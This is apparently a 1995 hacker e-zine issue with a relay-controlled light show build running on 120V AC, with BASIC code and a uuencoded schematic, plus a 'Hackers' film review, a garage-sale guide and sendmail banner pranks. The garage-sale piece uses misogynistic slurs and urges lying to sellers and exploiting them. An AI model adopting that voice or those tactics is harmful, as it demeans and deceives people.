^..^ / gmac supertramp on craq, wooah. (moo) @ @ @ @ @ \ ___ (oo) @ @ @ @ @ @ @ @<-D41yZyz \|/ \|/ \|/ \|/ \|/ WW WW \|/ \|/ \|/ \|/ \|/ \|/ \|/ \|/ \|/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ _______________________________ ____________________ |PHRACK UPDATE#@!%^&^$#@!$#@!@# | n0t3 frUm er1kB?->|Ph1l3 Und3r 31337!@$| |From Phrack 46 Line Noize |___________________|____________________|___ | -=Almozt Buzt3d!@#=- by d34thSt4r . I wUz 1n A M4lL e4t1nG K4ndYb4rZ WifF a B4g FuLl Ov AuT0d34l3rZ TrW L0g1nZ Wh3n A K4r PuLleD Up AnD 1 Sh1t M4h P4nTz 4nD st4rT3d T0 CrY d3n A p3rs0n G0t 0uT 4nD 1 Tr1eD t0 RuN BuT 1'M s0 dUm 4nD PlUs 3y3 h4d sh1t M4h P4nTz S0 3y3 f3Ll d0Wn 4nD Cr13d Ph0r My m0MmY BuT D4h p3rs0n WifF d4h C4r WuZz My M0mM13 s0 1 R4n t0 h3r 4nD sUck3d H3r t1tT13s 4nD d4t 1z h0w 3y3 WuZ Alm0zT BuzTed!@$# -DS . . . d0Wn 1n FrAgGle R0ck! . d0Wn 1n FrAgGle R0ck! BumP BuMp! . . BumP BuMp! \\//////// ==||=||==========================| FEH! |==============================||=||== || || This Was a CAFBL T-Phile X X All Rights Reserved wh00t@! || || ==||=||===========================\ /===============================||=||== Dis wuz 100% On_Craq(tm) File - (O O) - Phear Me! Wh0Rd!#@ I'm On_Craq!#@ ~~~~\ <----------------------------------------------------------------------------> The Hacker Light Show by Tele Monster This was first used publicly @ summercon 1995 ** WARNING - ThIS file deals with high level electricity. If you are not familiar with working with 120volt AC levels, do not attempt to make this device for controlling household electricity. It can be used to safely control 12volt DC lights, or any device as well. The author or FEH takes no responisbility for the loss of life, limb or computer (that includes 8255ppi's and parallel ports). Now that your ready to burn your house or hotel down, lets begin. This system switches up to 8 relays from a printer port. Using the relays described the MAX on each relay is 2 amps of AC power. That equals 200 watts of lights, or 2 lamps with 100 watt bulbs. We solve the load problem with small modules that switch 15 amps worth of power, which is good for 15 100 watt light bulbs. You can use the relays to switch any dc loads instead. Included is some examples of software. The idea came from an article written in computer shopper about running a radio controlled car. I only saw the article once at a friends house and was never able to find it again. I peiced this together, it works for me. ---- PARTS for main controller: * 4 dpdt relays. These need a 5 volt coil, ttl compatible and switch a 120volt AC load @ 2 amps. These can be found at your nearby radio shack. * 4 1N4148 diodes * A sutable housing. Mine was housed in a rack mount 12 outlet box I found at a surplus store. You might want a circuit breaker in there as well. Its easy to take a 6 outlet power strip and remove 2 outlets. * A cable (DB-25) to connect to your parallel port. If you are going to use a serial cable, be sure that all pins are wired. Make sure the gender is proper to (male for most people). * A 5 volt DC power supply. One that is adjustable between 5 and 7 is good. A little plug in power pack works dandy ---- PARTS for remote modules (1 set needed for each module) * 1 Tupperware (tm), Rubermaid (tm), or Rat Shack project box. * 1 Heavy duty 3 conductor extension cord (3 prong, 8' should do fine) * 1 long length (depending on how remote) zip cord & plug. This will determine how far away you can place the module from the controller. This has to be able to handle 120vac, but doesn't have to be thick. Cheap thin lamp cord and a clip on plug do fine. * 1 DPDT (or SPST, I dunnot care) relay. 120volt AC coil with contacts rated at 120 volt ac. 10 to 15 amps is fairly good. Instructions for building main controller: ----------------------------------------- Printer Port Relay .--- AC plug black .-----------------. : .-AC plug white 2 -------+---:- N.O. -: --------:--:------------- Outlet #1 black : :coil load -: --------+ +------------- Outlet #1 white diode ^ .-:- N.C --: : : : : `-----------------' : : +5v----+-' : : Relay : : .-----------------. : : 3 -------+---:- N.O. -: --------:--:------------- Outlet #2 black : :coil load -: --------+ +------------- Outlet #2 white diode ^ .-:- N.C --: : : : : `-----------------' : : +5v----+-' : : Relay : : .-----------------. : : 4 -------+---:- N.O. -: --------:--:------------- Outlet #3 black : :coil load -: --------+ +------------- Outlet #3 white diode ^ .-:- N.C --: : : : : `-----------------' : : +5v----+-' : : Relay : : .-----------------. : : 5 -------+---:- N.O. -: --------:--:------------- Outlet #4 black : :coil load -: --------+ `------------- Outlet #4 white diode ^ .-:- N.C --: : : `-----------------' +5v----+-' +5v -----. : 20 ---- (power supply 5 volts dc -)-:|:|:|--' - + Key --- + = connected, -:- = not connected. N.O = Normally open (when no power going to coil, power doesnt pass thru) N.C = Normally closed. Load = Common Notes ----- On the AC power side, the ground (green) and white should be wired straight down. from the plug from the wall to all outlets. The black wire runs into every relay's load, then from the n.o line into the power outlets. You can put 8 relays per port on this system. Just duplicate the same thing using pins 6 7 8 & 9. You may have to adjust the voltage from the power supply. Trigger all relays on, then check to see if they all open. I WOULD NOT SUGGEST USING THIS WITH A COMPUTER WHO'S PRINTER PORT IS NOT EASILY CHANGEABLE. HENCE A EXPENSIVE NOTEBOOK OR LAPTOP, OR OTHER STRANGE COMPUTERS. BY CHANGEABLE, I MEAN REPACED IN CASE OF ACCIDENT. The BLACK wires go into the ac outlets on the side with the LARGE blade. PLUG .-----black Remote modules: : .---white -------------- : : 15 amp relay : : .----------------. : : OUTLET ac plug/black/2 conductor zip cord) ------- :- no-:--:------- black white ------------- :- coil load :--' `----- white : nc-: `----------------' The ac plug zip cord connects to an outlet on the above controller. The zip cord plug triggers the relay, which allows power to flow between the PLUG/OUTLET. Be sure to solder the connections VERY WELL. I used non-conductive hot melt glue all over the solder connections to help prevent any shorting. Software -------- The way the unit is programmed, or rather the way it works is as follows. Whenever data is sent thru the printer port, the 8 data lines make and break connections. This unit just puts 8 relays on it, and you force the printer port to hold values. Here is a basic program that will count binarily up. If you have 8 relays hooked up, you will see it count in binary. 10 CLS 20 PRINT "FEH 1995 PUNK ASS BEYATCH" 30 C = 0 40 D = 0 50 OUT &378, C 55 PRINT "werd. ",C 60 D = D + 1 70 IF D = 2000 GOTO 100 80 GOTO 60 100 C = C + 1 110 GOTO 40 the command to output the value is OUT &378, # # range is 0 to 255. replace 378 with the proper port address. 255 resets. duh In C use the outport command. Turbo Pascal, hellifIknow. --------------------------------------------------------------- Welp- Have fun... And after and if it works - I will release the 128 port non-electromechanical version. Hopefully you will see it in action @ h0h0con. I hope everyone will help in connecting up a huge 5 x 6 room matrix. :) Please bring all the extension cords you can! Also - We have been sucessful in using DPDT relays to construct, well, a pretty downright simple conference bridge by connecting phone lines and a dtmf decoder. This should crank forth some ideas. Enclosed could be some sample source, including FLASH.BAS used @ scon, and a gif of the schematic. Laters all- Tele Monster / telmnstr@infi.net 10 CLS : R=0 20 LOCATE 11,30 : PRINT "The Multi-Media Group 1993" 30 R=R+1 : IF R=3000 THEN GOTO 50 40 GOTO 30 50 CLS 60 F=1 70 PRINT "--Flasher-Tracker-V.2.0-----------------------------------------" 80 PRINT "Written By Tele Monster - The Multi-Media Group 1993" 90 PRINT "----------------------------------------------------------------" 100 PRINT "Rate per step ? (200 = normal): 110 INPUT D 120 CLS 130 LOCATE 3,3 : PRINT "Rate is set to.. ";D 140 C=1 : OUT &H378, 254 : PRINT " â=STEP 1=â========â========â========â","RATE:";D : E=E+1 150 IF C=D GOTO 290 160 IF INKEY$="-" THEN GOSUB 1060 170 IF INKEY$="+" THEN GOSUB 1070 180 IF INKEY$="Q" THEN GOSUB 1090 190 IF INKEY$="W" THEN GOSUB 1100 200 IF INKEY$="E" THEN GOSUB 1110 210 IF INKEY$="R" THEN GOSUB 1120 220 IF INKEY$="T" THEN GOSUB 1130 230 IF INKEY$="Y" THEN GOSUB 1140 240 IF INKEY$="U" THEN GOSUB 1150 250 IF INKEY$="I" THEN GOSUB 1160 260 IF INKEY$="O" THEN GOSUB 1170 270 C=C+1 280 GOTO 150 290 C=1 : OUT &H378, 253 : PRINT " â--------â=STEP 2=â--------â--------â" 300 IF C=D GOTO 440 310 IF INKEY$="-" THEN GOSUB 1060 320 IF INKEY$="+" THEN GOSUB 1070 330 IF INKEY$="Q" THEN GOSUB 1090 340 IF INKEY$="W" THEN GOSUB 1100 350 IF INKEY$="E" THEN GOSUB 1110 360 IF INKEY$="R" THEN GOSUB 1120 370 IF INKEY$="T" THEN GOSUB 1130 380 IF INKEY$="Y" THEN GOSUB 1140 390 IF INKEY$="U" THEN GOSUB 1150 400 IF INKEY$="I" THEN GOSUB 1160 410 IF INKEY$="O" THEN GOSUB 1170 420 C=C+1 430 GOTO 300 440 C=1 : OUT &H378, 251 : PRINT " â--------â--------â=STEP 3=â--------â" 450 IF C=D GOTO 590 460 IF INKEY$="-" THEN GOSUB 1060 470 IF INKEY$="+" THEN GOSUB 1070 480 IF INKEY$="Q" THEN GOSUB 1090 490 IF INKEY$="W" THEN GOSUB 1100 500 IF INKEY$="E" THEN GOSUB 1110 510 IF INKEY$="R" THEN GOSUB 1120 520 IF INKEY$="T" THEN GOSUB 1130 530 IF INKEY$="Y" THEN GOSUB 1140 540 IF INKEY$="U" THEN GOSUB 1150 550 IF INKEY$="I" THEN GOSUB 1160 560 IF INKEY$="O" THEN GOSUB 1170 570 C=C+1 580 GOTO 450 590 C=1 : OUT &H378, 247 : PRINT " â--------â--------â--------â=STEP 4=â", "Count:";F : F=F+1 600 IF C=D+3 GOTO 740 610 IF INKEY$="-" THEN GOSUB 1060 620 IF INKEY$="+" THEN GOSUB 1070 630 IF INKEY$="Q" THEN GOSUB 1100 640 IF INKEY$="W" THEN GOSUB 1100 650 IF INKEY$="E" THEN GOSUB 1110 660 IF INKEY$="R" THEN GOSUB 1120 670 IF INKEY$="T" THEN GOSUB 1130 680 IF INKEY$="Y" THEN GOSUB 1140 690 IF INKEY$="U" THEN GOSUB 1150 700 IF INKEY$="I" THEN GOSUB 1160 710 IF INKEY$="O" THEN GOSUB 1170 720 C=C+1 730 GOTO 600 740 C=1 : OUT &H378, 251 : PRINT " â--------â--------â=STEP 5=â--------â" 750 IF C=D GOTO 890 760 IF INKEY$="-" THEN GOSUB 1060 770 IF INKEY$="+" THEN GOSUB 1070 780 IF INKEY$="Q" THEN GOSUB 1090 790 IF INKEY$="W" THEN GOSUB 1100 800 IF INKEY$="E" THEN GOSUB 1110 810 IF INKEY$="R" THEN GOSUB 1120 820 IF INKEY$="T" THEN GOSUB 1130 830 IF INKEY$="Y" THEN GOSUB 1140 840 IF INKEY$="U" THEN GOSUB 1150 850 IF INKEY$="I" THEN GOSUB 1160 860 IF INKEY$="O" THEN GOSUB 1170 870 C=C+1 880 GOTO 750 890 C=1 : OUT &H378, 253 : PRINT " â--------â=STEP 6=â--------â--------â" 900 IF C=D THEN GOTO 140 910 IF INKEY$="-" THEN GOSUB 1060 920 IF INKEY$="+" THEN GOSUB 1070 930 IF INKEY$="Q" THEN GOSUB 1090 940 IF INKEY$="W" THEN GOSUB 1100 950 IF INKEY$="E" THEN GOSUB 1110 960 IF INKEY$="R" THEN GOSUB 1120 970 IF INKEY$="T" THEN GOSUB 1130 980 IF INKEY$="Y" THEN GOSUB 1140 990 IF INKEY$="U" THEN GOSUB 1150 1000 IF INKEY$="I" THEN GOSUB 1160 1010 IF INKEY$="O" THEN GOSUB 1170 1020 C=C+1 1030 GOTO 900 1040 PRINT " ââââââââââĴâââââââââĴâââââââââĴâââââââââ£","Rate:";D 1050 RETURN 1060 D = D + 5 : RETURN 1070 D = D - 5 : RETURN 1080 E=0 : CLS : RETURN 1090 D = 10 : RETURN 1100 D = 20 : RETURN 1110 D = 30 : RETURN 1120 D = 40 : RETURN 1130 D = 50 : RETURN 1140 D = 100 : RETURN 1150 D = 200 : RETURN 1160 D = 300 : RETURN 1170 D = 490 : RETURN 10 CLS 11 PRINT : PRINT : PRINT 20 OPEN "com2" FOR OUTPUT AS 1 30 OPEN "log" FOR OUTPUT AS 2 : PRINT "Actions being saved in file LOG. " 34 LOCATE 4,1 35 PRINT "--------------------------------------------------------------" 40 PRINT "System started at",TIME$, "on", DATE$ 41 PRINT "Using COM 2 for monitor port" 42 PRINT "Resetting Controler" : OUT &H378,255 48 PRINT "--------------------------------------------------------------" 50 PRINT #1, "System started at",TIME$, "on", DATE$ : PRINT #1, CHR$(7) 60 PRINT #2, "System started at",TIME$, "on", DATE$ 100 PRINT #1,".--------------------------------------------." 110 PRINT #1,"| The most advanced light timer.. ever |" 120 PRINT #1,"`--------------------------------------------'" 130 PRINT #1,".--------------------------------------------." 140 PRINT #1,"| Written by Tele Monster November 1993 |" 150 PRINT #1,"`--------------------------------------------'" 160 PRINT #1,".--------------------------------------------." 170 PRINT #1,"| Version 1 . 0 |" 180 PRINT #1,"`--------------------------------------------'" 190 PRINT #1,"-------------------------------------------------" 195 PRINT #1, "- Press + for force on, - for force off" 200 LOCATE 1,1 : PRINT "The Most Advanced Light Timer. EVER. V.1.0 - November 1993 - Tele Monster " : LOCATE 12,1 400 C = 0 410 C = C + 1 411 B$=INKEY$ 412 IF B$="+" THEN OUT &H378, 240 413 IF B$="-" THEN OUT &H378, 255 420 IF C = 2000 THEN GOTO 800 430 IF TIME$ = "17:00:00" THEN GOTO 1000 440 LOCATE 2,5 : PRINT "Time=:",TIME$, "Waiting for 17:00:00" : LOCATE 3,5 : PRINT C 450 GOTO 410 800 A = A + 1 : IF A > 8 THEN GOTO 900 810 IF A = 1 THEN PRINT #1, "C'mon... Its almost midnight... ",TIME$ 820 IF A = 2 THEN PRINT #1, "Its almost twilight on this fine nite.. its",TIME$ 830 IF A = 3 THEN PRINT #1, "Hmmmm. Can't wait till tonight..its ",TIME$ 840 IF A = 4 THEN PRINT #1, "Wouldnt a normal time be easier? ",TIME$ 850 IF A = 5 THEN PRINT #1, "This is a boring job........... ",TIME$ 860 IF A = 6 THEN PRINT #1, "All this to turn on lights..... ",TIME$ 870 IF A = 7 THEN PRINT #1, "Nighttime aproaces on this day..... ",TIME$ 880 IF A = 8 THEN PRINT #1, "Yawn... This gets old fast!!....... ",TIME$ 890 GOTO 400 900 A = 0 : GOTO 800 1000 : LOCATE 12,1 : PRINT "Sending ON command for channels 1,2,3,4" 1010 PRINT #1,"Sending ON command for channels 1,2,3,4" : PRINT #1,CHR$(7) 1011 PRINT #1, ".----------------------------." 1012 PRINT #1, "| . . . .| . . |" 1013 PRINT #1, "| . /\ . . -*- . |" 1014 PRINT #1, "| . /. o \ . |. . |" 1015 PRINT #1, "| /_ o . _\ |" 1016 PRINT #1, "| /o.. o\ |" 1017 PRINT #1, "| /___ . ___\ |" 1018 PRINT #1, "| |__| |" 1019 PRINT #1, "`----------------------------'" 1020 PRINT #2,"Sending ON command for channels 1,2,3,4" 1030 OUT &H378, 240 1040 PRINT "Command Sent" 1050 C = 0 1100 PRINT #1, "Waiting for 23:00:00" 1101 PRINT #2, "Waiting for 23:00:00" 1102 PRINT "Waiting for 23:00:00" 1103 PRINT #1, "Press + for force on, - for force off" 1110 IF TIME$ = "23:00:00" THEN GOTO 2000 1111 LOCATE 2,5 : PRINT "Time:",TIME$, "Waiting for 23:00:00 For Shutdown" 1112 B$=INKEY$ 1113 IF B$="+" THEN OUT &H378, 240 1114 IF B$="-" THEN OUT &H378, 255 1120 GOTO 1110 2000 LOCATE 12,1 : PRINT "Its time to shutdown...." 2001 PRINT #1,"Its time to shutdown...." 2002 PRINT #2,"Its time to shutdown...." 2010 OUT &H378, 255 2020 PRINT #2, "System Reset.... " 2030 PRINT #1, "System going down for nightly event...." 2040 PRINT "System going down for nightly event...." 2050 CLOSE #1 2060 CLOSE #2 2070 GOTO 10 3000 OUT &H378,255 3010 GOTO 412 3050 OUT &H378,240 3060 GOTO 412 [Ed note: I really don't like sticking in binaries, but it is appropriate for this article.] begin 644 lights.gif M1TE&.#=A@`+@`?,`````````J@"J``"JJJH``*H`JJI5`*JJJE555555_U7_ M557___]55?]5____5?___RP`````@`+@`0`$_Q#(2:N]..O-N_]@*(YD:9YH MJJYLZ[YP+,_:8]]XKN]\[__`H'!(+!J/R*1RR6PZG]"H=$JM6J_8K';+[7J_ MX+!X3"Z;S^BT>LUNN]_PN'Q.K]OO^+Q^S^_[_X"!@H.$A8:'B(F*BXR-CH^0 MD9*3E)66EYB9FIN<G9Z?.R$XHC<8HQ9)'J$</*0Z&Z<?L1,_IJ4BJS5(MD&P MN:@/%+/"-KS!N+\7PQ++S*T9SQ7-`,U3RK7$/L`]QM?%WF.NQ[*WV^/91JJO MK,GLZ]#EZM_H[<[S(/72N^#8\._`Z'AU0_8/G$%^T^SE.&@.81.'"^FUZZ?O M'JUX$L5D_/:/&[6("O_C/;P8*]K'DK\\=@2Y<E7!DR9;!B19KN6^D$1H+GL) M\UY*D"=GXM1YSJ;(9"_?Q30JA>A*IT!Q`OTYB\W&8TQO9;V:DRA4B5^A8IW* MDJS+J#V99A.:UJM8(5S[F1QJSJ=:DFR5FCVZ=UC2LEO?CDS[5"I:BE3YIKE* MU_#8JEG3N25<%'#?4W?;BFTL&"Q>FIXU.X8K6)OANN<F$PX=%/3DS*O#JFZ\ M]'*4TL1P5ZP-N??BTK9-2XU+^C3GQ'9[;19-V2-JQ1Q]1Y]G>@EQY[R15[X< MTK-TS+8WO@V=/3D5W<[0<\V8M\WU[X@C%Q%_'/80QLSG0]RN];O"\<T5%Z#_ M7-IQYY1W_L&$7V#&!4A>@>^E,II=Z@$XG&L3A@,<?,+%EJ%R#3*8GX`J!>?< M;@:F6%.)$GX837D&7DB7BN9%).*+)^IUHQ7J44>1A1XJN"$88'7XBI'R=15B M>*H=.1&)-B[%'G#$H0A%A#IB-""2)G+HUWT'SM9A=QCN-J020':96X-!UKA& MD3DNQ*672E+6I'UR/@FB9G%.^6&56.KG8BY_'>'GEOS-5:=V5N[DVT"(,I$F MG6O:&69Z9Q*IRUS/:>D/FJ\QRN9^J77F2V+T7/<>J89FBI*CK7:PIX`5;HK1 MF#VQ)506DT)G%FOYR'%J/D`.VZ)HY<EF#$\#NF-3_ZI4;LBJ9(-F:5&DQ';: M934_VFH1KGM!RNMHT)+[67UH5:N1M^FN)P^HM(EJZ:?,=JMM>[X66,]MKJX( M*[7.Q@G$M.1\R6FX#(WKH$[NV@-LO7'`F>R<^0*\;$+F#D4KF^L([&^B,.*J M;L@@%@JQFR#K>R)],C*W<+E"-C1RN]9ZRFZ-^$XCK%<4!]-SRA;O9RQW&\_+ M9[+_1:ONQ;%B6_.]#+4Y<*9,I\S:RPR7N2N\5BHK*W(YV[SSTE1?ZK3'LWZ< M))AWLCTORFN#RW6+)LLK=7Q-HYM@L4'J.G/(RJ*=;Z52!_I%H(B;/=C96Y-< MYXANXZAJO]=:1_DX=>.Y+?_<>^KM:Z-:!NOI$RR3S'+AB@.-1N)DM[RXH#'_ M;''<P5TT^=^E6H[[;,VV36?%G4.^=\9F^WVV[($#GOJAG)_!.N.IZPY]O+1/ M1^CF)E:]N6.&8X_CV@]C#ZC@S%]O>M271^8[^<L]%_9OK4]_]]R+6O8[>-\# M?[ZV]W.?ONI3,QK>!J>T+?G/<W#KU<E*=3S!^>A^(,./^\KDAN?!3F7UBYS] M]!>E_#5/9=KK7W.Z!T$/<C!\$!P?TEQG/A"B#W?J0Z#=5A8]`)+!@L_8D?0N MJ+F.?8YC.=P6_SB(.>\-L(,M_%?HF/2G'G&H?`7)7.W^ARH@'M&&$Y1A&7!X M%OC_D-"(*$,A$A\D'RTN\8I/HZ+J,G:PS$%1=M(YG;ZZ!KJ*?=%CR;MB7+(H M/#.$T&:?@M07_W@M%HHC8(6TU1\!54<&WA&0%QM:(C]BO-;PCU229*#..!4A M.5K#(=JSQ2)Y%[-&<H&0C@SD"QN8R.`9$A^0;-G76@G'T='0E$5C5R;A44FQ MW5)DI]-:^Z9E1S6*CF:<I"2KKI:T(6X!E8=<Y;%NURC"S3*5Q7/6*#.$R9L% M;6B[%*4P'=;-1H;33$*C%_*,N4!?BFZ;+FLF+D%!SWK:\Y[XS*<^]\G/?OKS MGP`-J$`'2M""&O2@"$VH0A?*T(8Z]*$0C:A$)TK1BEJ4_T<P/&5KBJ.'C*[. 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ReDragon asked me to write for FEH.. I had no idea to write and when I saw the ruckus in #hack after "Hackers" was released. So here it is.. It ended the weekend being in the top three movies this weekend. Well where should I begin.. I missed the first 20 minutes of the movie.. due to Sp00n giving me the wrong time, so I walked into the theatre and found my friends, it wasn't hard since there were 13 people in the theatre total including my seven friends and I. I was at first worried about walking in late.. and missing the complicated twists and turns of the plot, and then I remembered where I was.. Now I walked in there with some slight hope of realism in my heart, and then looked up and saw he was downloading on Mac.. you could see the cheezy graphix.. which was suppose to be the "Flow of Information".. <barf>. Personally they could have picked a cooler chick.. Alicia Silverstone or Drew Barrymore.. anyway lemme continue. I sat down and then my friend Dawn proceeded to throw pennies at me.. <does that belong in a review?!?> I absolutely loved the navigating through the Gibson.. it reminded me of playing Descent. <snicker> Anyway.. I guess I should go over the plot of the movie so those of you <you poor deprived children> who have NOT seen it, or we just to busy with your tounge down your girl/boyfriend's throat. "Dade Murphy.. AKA Zero Cool was busted when he was like 11.. for crashing 15,008 computer systems with his virus in 1 day.. and all they did to the brat was say he couldn't use a computer till he was.. he couldn't even use a tocuh-tone phone. Fade out.. Fade in.. Now Mr. Murphy is 18.. and hey gets a mac <thanks mom>. And of course since he the techo-stud he is.. he hacks right into the TV station.. And someone called "Acid Burn" already owns this turf.. and he proceeds to tell "Mr"Acid Burn that "You mess with best, you die with the rest.." go figure.. anyway.. he pulls some school pranks.. decides he wants the chick wearing vinyl.. and "hacks" himself into her class.. oh.. what a rebel. while in her english class.. another hacker "Cereal Killer" who's real name is EMMANUEL GOLDSTEIN <gee I wonder where that came from> gets kicked out.. anyway, the dweebs in the school realize he is "/<-r4d-31337" so they take him to some techno trendy arcade/food place.. almost as cheesy as the @cafe. At this place is "Phreak", "Cereal", and Joey.. who has no handle.. and seems to remind me of Lestatt.. <could it be the hidden pornos, or the "Hey I am one of you" whine> basically this is starting to sound like the MGAUA homepage so lemme cut it short.. little Joey accidently hacks a GIBSON.. gets a file. it turns out that it was a worm planted by the bad guys at the company.. and Joey's little "elite" friends try to save him.. on the way to save him.. they meet the flaming "gewky" twins, Lord Nikon, Kate Libby's boyfriend <Kate Libby is the vinyl chick.. I do sympathize with her.. I have had guys get mad at me for paying attention to my computer too much.. almost as much as he paid attention to his sports..>, and other hackers all over the world <who proceed to "Hack the Planet"> and of course.. we have our little friends from the SS, and the company who was supposidly hacked.. as the MEANIE BAD people" There is the basic plot.. cheesy as it sounds.. it was slightly entertaining.. Sp00n and I are the only ones who laughed.. while my non-'puter friends just kinda looked at us funny. I think if you take it as sheer humor.. you will get a big kick out of it.. well enough of a kick to pay the matinee price.. I don't think it was worth the full 7.50 .. but.. that is my own opinon.. here is my review.. all opinons here are my own.. and do not represent FEH or any of it's staff.. and junk like that.. so get out and "Hack the Planet" or just go IRC.. it is all the same to me. <----------------------------------------------------------------------------> !$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$! $ $ ! The Phenomenological Eleetness ! $ Of Garage Sales $ ! (with a commentary on the state of affairs on #hack) ! $ $ ! by x0x ! $ $ !$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$!$! Phenomenology is the study of things as they are in themselves, independent of our perception of them. Certain things are eleet and others are not. This is an phenomenon which occurs independent of what we think, what we know, and what we desire. If a thing is eleet, it's eleetness is intrinsic and cannot be changed or made to be non-eleet. Items that are eleet can be destroyed but they do not lose their eleetness. It is not necessary for an eleet item to "function" or to be in working condition for it to maintain its quality of being eleet. My 300 baud modem *is* in effect, more eleet than your USRobotics 28.8k. What then does this all have to do with garage sales? Well, simply put: there are tons of eleet items at garage sales for little or no cash that are just waiting for you to snag them. One must remember however that owning even large quantities of eleet things does not necessarily make the owner eleet. Human eleetness is completely different, though similar, but is outside the scope of this article. This article will basically take you through some basics of how to make the best out of your Saturday morning adventures. The pursuit of knowledge is often included in what it means to be eleet. Likewise, the pursuit of eleet items is an art in and of itself whether it be for profit or just for the sake of gaining eleet objects. 1. On Friday grab a newspaper before you go to work or school and cut out the whole garage sale section. Obtain a recent street map of your city. You will be able to re-use the map. 2. Get about 10 yellow post-it notes and cut 1 x 1/2" squares of paper which have the "sticky" on the back of them. This should yield about 30 squares with sticky stuff on them. 3. Go through the classified garage sale section of the newspaper and look for adds that say stuff like "computer stuff....software....electronics" or "antiques" or whatever eleet thing it is that you are into. 4. Write the street number and address and what time the garage sale starts on a yellow sticky. 5. The garage sales are usually broken down into "Areas" or "Sections" of town. Look for the RICH areas. Write down more addresses and start times, one per square until you have about 20-30 of them. 6. Don't always believe all that "100 Family Garage Sale!" shit. Sometimes it is a goddamn lie. Go to the rich areas of town and be early. 7. Next, fold your map open conveniently and then take each yellow sticky and find the exact street on the map and play the corner of the sticky so it points to the actual street itself on the map. Do this until all are placed. Fold map in half. 8. Wake up at 5:45am on Saturday morning. Eat. Get dressed in shorts and a t-shirt. Hopefully pick up a partner so he can navigate and you can concentrate on driving. Leave the house no later than 6:00am. Bring $20.00 with you. No more. Anything over $20 at a garage sale is fucking rediculous. I once bought a working BearCat Scanner for $2.00. 9. Start hitting those fuckers, one by one and be fast about it. Scan quickly and intelligently...look for ELEET things to pop up at you. Dig through people's old shit and find awesome eleet shit that is marked 25 cents and tell the whore running it that you will give her 10 fucking cents and not a penny more. If she disses you, throw the thing down and walk off. 10. Rule of thumb: always offer 40% of price marked, unless it is obviously way too fucking high. Carry change (one's and quarters) and if the whore running it says she has to get at least $10 for it, lie and say all you have is $8.75. She will let you have it. People don't realize what they have a lot of times. You can find shit that will blow your fucking mind. I once saw an antique dresser that was obviously worth $700-800 and the dumb whore had sold it for $35.00. Take advantage of people's stupidity. Rich people get rid of eleet shit when they upgrade to even eleeter shit. Captalize on their wastefulness. A new technique I have developed for social engineering shit for free at garage sales is like when I see a larger priced item for sale...for example I saw a fucking TRS-80 with all sorts of software and peripherals and shit listed for $60.00. Well, I told the whore that I was a brooke college kid and that I would love to have the compooter and would she consider donating it to me if she does not sell it. W00p, I left my name and number and at the end of the day, she called and said come get it. Free. I have prolly over $1000.00 worth of shit I got for maybe $100 investment. My book collection is ELEET. I have ELEET shit. Well, I left a lot of shit out that I wanted to put but it is past midnite and this artikle is due. I must say that the takeover attempts on #hack have been particularly lame lately. In case anyone hasn't noticed I have kind of found my home as WATCHDOG of #hack and I am steadily building my Shit list. Anyone who takes over the channel, bans me or any other eleets is SHITTED. That means auto-fucked. You fuck up and you will NEVER get in #hack again. PHEAR x0x. Later fuckers. <----------------------------------------------------------------------------> HOW I SPENT MY DAY FUCKING WITH SENDMAIL, OR HOW TO BE CREATIVE WITH SENDMAIL by foo TODAY I INSTALLED SENDMAIL 8.7 ON 10 MACHINES. ALL TEN OF THEM BROKE. IN FACT I MANAGED TO BREAK EACH ONE NEARLY 37 TIMES. I FIXED THEM THOUGH. THEY ALL WORK NOW. SENDMAIL EVEN WORKS. IF YOU ARE INSTALLING SENDMAIL, AND WOULD LIKE TO BE CREATIVE, YOU HAVE A FEW OPTIONS. SOME OF THEM ARE AS FOLLOWS, THE REST I'M TOO LAZY TO TELL YOU ABOUT: IN THE SPECIAL MACROS SECTION, YOU CAN CHANGE MESSAGES TO BE MORE WITTY. FOR INSTANCE LOOK AT THIS BORING MESSAGE. # SMTP initial login message De$j Sendmail $v/$Z ready at $b SOMEONE WHO WANTED TO PRETEND TO BE WITTY COULD CHANGE IT TO: De$j SHITTY MAIL PROGRAM WITH LOTS OF BUGS $v/$Z READY TO HAVE PEOPLE TRY OUT EXPLOIT SCRIPTS AT $b THIS IS WHAT IT WOULD LOOK LIKE WHEN YOU CONNECTED TO THE SMTP PORT ON WHATEVER MACHINE (FOR OUR PURPOSES IT'LL BE FEH.ORG) THIS IS ON: bash# telnet feh.org 25 Trying bash# telnet localhost 25 Trying 204.255.237.3... Connected to FEH.ORG. Escape character is '^]'. 220 FEH.ORG ESMTP SHITTY MAIL PROGRAM WITH LOTS OF BUGS VERSION 8.7/FEH READY TO HAVE PEOPLE TRY OUT EXPLOIT SCRIPTS AT Fri, 22 Sep 1995 23:59:15 -0700 (MST) YOU NOTICED THAT THE VERSION IS 8.7/FEH (WE HACKED SENDMAIL!@#$$). YOU WONDER, HOW MIGHT AN ENTERPRISING PERSON SUCH AS YOURSELF DO THIS? LIKE THIS: # Configuration version number DZFEH REMEMBER THE $Z IN THE LINE UP THERE? WELL BELIEVE PATHOLOGICALLY LYING NARCS LIKE DOB OR NOT, WHATEVER YOU PUT AFTER DZ WILL BE PUT IN PLACE OF $Z. IT'S CALLED A MACRO. D DEFINES TE MACRO NAMED "Z" TO BE "FEH" AND $Z WILL EXPAND THE MACRO. SIMPLY AMAZING. MORE AMAZING THAN THE FACT THAT W1NG EVER LEARNED TO HACK. OH, WELL I FORGOT THAT HE NEVER DID, CUZ ALL HE USES IS SCRIPTS OTHER PEOPLE WROTE (<COUGH> POSSE <COUGH>) BUT ANYHOW THAT'S ENOUGH SUBJECT MATTER FOR A WHOLE OTHER ARTICLE. TO BE EVEN MORE WITTY, AND FUCK WITH YOUR USERS THERE ARE MORE THINGS YOU CAN CHANGE. FOR INSTANCE HERE'S ANOTHER LINE FROM SENDMAIL.CF: # UNIX initial From header format DlFrom $g $d THIS COULD BE CHANGED TO: D1THIS IS THE MORON THAT MAILED YOU OF ALL PEOPLE YOU FUCKING DOLT $g $d THAT WAY, WHEN SOMEONE READ THEIR MAIL (REAL HACKERS USE tail -f $MAILSPOOL) THEY WOULD BE OFFENDED. AND YOU'D OFFEND WHOEVER SENT THEM MAIL AS WELL, BUT THEY WOULDNT REALLY SEE SO THEY'RE NOT 